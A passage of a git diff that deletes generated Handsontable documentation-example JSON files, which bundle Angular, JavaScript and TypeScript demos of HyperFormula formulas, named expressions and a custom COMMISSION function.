HyperFormula,\n },\n colHeaders: ['Qty', 'Unit price', 'Discount', 'Freight', 'Total due (fx)'],\n fixedRowsBottom: 2,\n stretchH: 'all',\n height: 500,\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/formulas/formula-calculation/angular/example2.ts","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example2","exampleTitle":"Data grid example (2)","docPermalink":"/formula-calculation","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__angular__example3.ts.json deleted file mode 100644 index b3de8f19..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__angular__example3.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Formulas ▸ Formula calculation · Demo: plain-value named expression (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\",\n \"hyperformula\": \"latest\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild, ViewEncapsulation } from '@angular/core';\nimport {GridSettings, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\nimport {FormControl, ReactiveFormsModule} from '@angular/forms';\nimport {HyperFormula} from 'hyperformula';\n\n@Component({\n standalone: true,\n imports: [HotTableModule, ReactiveFormsModule],\n selector: 'app-example3',\n template: `\n
    \n
    \n  \n \n
    \n
    \n\n \n \n `,\n encapsulation: ViewEncapsulation.None,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, {static: false}) hotTable!: HotTableComponent;\n\n namedExpressionsControl = new FormControl('=10 * Sheet1!$A$2');\n\n readonly hotData = [\n ['Travel ID', 'Destination', 'Base price', 'Price with extra cost'],\n ['154', 'Rome', 400, '=ROUND(ADDITIONAL_COST+C2,0)'],\n ['155', 'Athens', 300, '=ROUND(ADDITIONAL_COST+C3,0)'],\n ['156', 'Warsaw', 150, '=ROUND(ADDITIONAL_COST+C4,0)'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n formulas: {\n engine: HyperFormula,\n namedExpressions: [\n {\n name: 'ADDITIONAL_COST',\n expression: 100,\n },\n ],\n },\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n applyNamedExpression() {\n const formulasPlugin = this.hotTable.hotInstance!.getPlugin('formulas');\n\n (formulasPlugin.engine as any)?.changeNamedExpression('ADDITIONAL_COST', this.namedExpressionsControl.value);\n this.hotTable.hotInstance!.render();\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/formulas/formula-calculation/angular/example3.ts","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example3","exampleTitle":"Demo: plain-value named expression (2)","docPermalink":"/formula-calculation","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__angular__example4.ts.json deleted file mode 100644 index bd5a3652..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__angular__example4.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Formulas ▸ Formula calculation · Demo: formula-based named expressions (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\",\n \"hyperformula\": \"latest\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\nimport { HyperFormula } from 'hyperformula';\n\n// Named expressions that reference cell ranges must be registered after the sheet\n// exists. Pre-build the engine in the constructor so the sheet is created first.\n@Component({\n selector: 'app-example4',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n readonly hotData = [\n ['Widget A', 200, 250],\n ['Widget B', 150, 300],\n ['Widget C', 400, 350],\n ['Totals', '=Q1_TOTAL', '=Q2_TOTAL'],\n ];\n\n readonly hotSettings: GridSettings;\n\n constructor() {\n const hfInstance = HyperFormula.buildEmpty({\n licenseKey: 'internal-use-in-handsontable',\n });\n\n hfInstance.addSheet('Sheet1');\n hfInstance.addNamedExpression('Q1_TOTAL', '=SUM(Sheet1!$B$1:$B$3)');\n hfInstance.addNamedExpression('Q2_TOTAL', '=SUM(Sheet1!$C$1:$C$3)');\n\n this.hotSettings = {\n colHeaders: ['Product', 'Q1 Sales', 'Q2 Sales'],\n rowHeaders: true,\n height: 'auto',\n formulas: {\n engine: hfInstance,\n sheetName: 'Sheet1',\n },\n autoWrapRow: true,\n autoWrapCol: true,\n };\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/formulas/formula-calculation/angular/example4.ts","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example4","exampleTitle":"Demo: formula-based named expressions (2)","docPermalink":"/formula-calculation","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__angular__example5.ts.json deleted file mode 100644 index 18a92182..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__angular__example5.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Formulas ▸ Formula calculation · Demo: custom COMMISSION function (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\",\n \"hyperformula\": \"latest\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport { FunctionArgumentType, FunctionPlugin, HyperFormula } from 'hyperformula';\nimport type { ProcedureAst } from 'hyperformula/typings/parser/Ast';\nimport type { InterpreterState } from 'hyperformula/typings/interpreter/InterpreterState';\nimport type { InterpreterValue } from 'hyperformula/typings/interpreter/InterpreterValue';\n\nclass CommissionPlugin extends FunctionPlugin {\n commission(ast: ProcedureAst, state: InterpreterState): InterpreterValue {\n return this.runFunction(\n ast.args,\n state,\n this.metadata('COMMISSION'),\n (revenue: number, rate: number): number => revenue * (rate / 100),\n );\n }\n}\n\nCommissionPlugin.implementedFunctions = {\n COMMISSION: {\n method: 'commission',\n parameters: [\n { argumentType: FunctionArgumentType.NUMBER },\n { argumentType: FunctionArgumentType.NUMBER },\n ],\n },\n};\n\nHyperFormula.registerFunctionPlugin(CommissionPlugin, {\n enGB: { COMMISSION: 'COMMISSION' },\n});\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example5',\n template: `\n \n `,\n})\nexport class AppComponent {\n readonly data: (string | number)[][] = [\n ['Sales rep', 'Revenue (USD)', 'Commission rate (%)', 'Commission amount (USD)'],\n ['Ana García', 45000, 8, '=COMMISSION(B2,C2)'],\n ['James Okafor', 62000, 10, '=COMMISSION(B3,C3)'],\n ['Li Wei', 38000, 8, '=COMMISSION(B4,C4)'],\n ['Maria Santos', 71000, 12, '=COMMISSION(B5,C5)'],\n ['David Kim', 29000, 7, '=COMMISSION(B6,C6)'],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n formulas: { engine: HyperFormula },\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/formulas/formula-calculation/angular/example5.ts","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example5","exampleTitle":"Demo: custom COMMISSION function (2)","docPermalink":"/formula-calculation","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example-custom-functions.js.json b/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example-custom-functions.js.json deleted file mode 100644 index 2e2dd972..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example-custom-functions.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Formulas ▸ Formula calculation · Demo: custom COMMISSION function · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"hyperformula\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { FunctionArgumentType, FunctionPlugin, HyperFormula } from 'hyperformula';\n// Register all Handsontable's modules.\nregisterAllModules();\nclass CommissionPlugin extends FunctionPlugin {\n commission(ast, state) {\n return this.runFunction(ast.args, state, this.metadata('COMMISSION'), (revenue, rate) => revenue * (rate / 100));\n }\n}\nCommissionPlugin.implementedFunctions = {\n COMMISSION: {\n method: 'commission',\n parameters: [\n { argumentType: FunctionArgumentType.NUMBER },\n { argumentType: FunctionArgumentType.NUMBER },\n ],\n },\n};\nHyperFormula.registerFunctionPlugin(CommissionPlugin, {\n enGB: { COMMISSION: 'COMMISSION' },\n});\nconst data = [\n ['Sales rep', 'Revenue (USD)', 'Commission rate (%)', 'Commission amount (USD)'],\n ['Ana García', 45000, 8, '=COMMISSION(B2,C2)'],\n ['James Okafor', 62000, 10, '=COMMISSION(B3,C3)'],\n ['Li Wei', 38000, 8, '=COMMISSION(B4,C4)'],\n ['Maria Santos', 71000, 12, '=COMMISSION(B5,C5)'],\n ['David Kim', 29000, 7, '=COMMISSION(B6,C6)'],\n];\nconst container = document.querySelector('#example-custom-functions');\nnew Handsontable(container, {\n data,\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n formulas: {\n engine: HyperFormula,\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/formulas/formula-calculation/javascript/example-custom-functions.js","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example-custom-functions","exampleTitle":"Demo: custom COMMISSION function","docPermalink":"/formula-calculation","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example-custom-functions.ts.json b/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example-custom-functions.ts.json deleted file mode 100644 index 8e003c58..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example-custom-functions.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Formulas ▸ Formula calculation · Demo: custom COMMISSION function · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\",\n \"hyperformula\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { FunctionArgumentType, FunctionPlugin, HyperFormula } from 'hyperformula';\nimport type { ProcedureAst } from 'hyperformula/typings/parser/Ast';\nimport type { InterpreterState } from 'hyperformula/typings/interpreter/InterpreterState';\nimport type { InterpreterValue } from 'hyperformula/typings/interpreter/InterpreterValue';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nclass CommissionPlugin extends FunctionPlugin {\n commission(ast: ProcedureAst, state: InterpreterState): InterpreterValue {\n return this.runFunction(\n ast.args,\n state,\n this.metadata('COMMISSION'),\n (revenue: number, rate: number): number => revenue * (rate / 100),\n );\n }\n}\n\nCommissionPlugin.implementedFunctions = {\n COMMISSION: {\n method: 'commission',\n parameters: [\n { argumentType: FunctionArgumentType.NUMBER },\n { argumentType: FunctionArgumentType.NUMBER },\n ],\n },\n};\n\nHyperFormula.registerFunctionPlugin(CommissionPlugin, {\n enGB: { COMMISSION: 'COMMISSION' },\n});\n\nconst data: (string | number)[][] = [\n ['Sales rep', 'Revenue (USD)', 'Commission rate (%)', 'Commission amount (USD)'],\n ['Ana García', 45000, 8, '=COMMISSION(B2,C2)'],\n ['James Okafor', 62000, 10, '=COMMISSION(B3,C3)'],\n ['Li Wei', 38000, 8, '=COMMISSION(B4,C4)'],\n ['Maria Santos', 71000, 12, '=COMMISSION(B5,C5)'],\n ['David Kim', 29000, 7, '=COMMISSION(B6,C6)'],\n];\n\nconst container = document.querySelector('#example-custom-functions')!;\n\nnew Handsontable(container, {\n data,\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n formulas: {\n engine: HyperFormula,\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/formulas/formula-calculation/javascript/example-custom-functions.ts","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example-custom-functions","exampleTitle":"Demo: custom COMMISSION function","docPermalink":"/formula-calculation","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example-data-grid.js.json b/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example-data-grid.js.json deleted file mode 100644 index 30e5dab7..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example-data-grid.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Formulas ▸ Formula calculation · Data grid example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"hyperformula\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
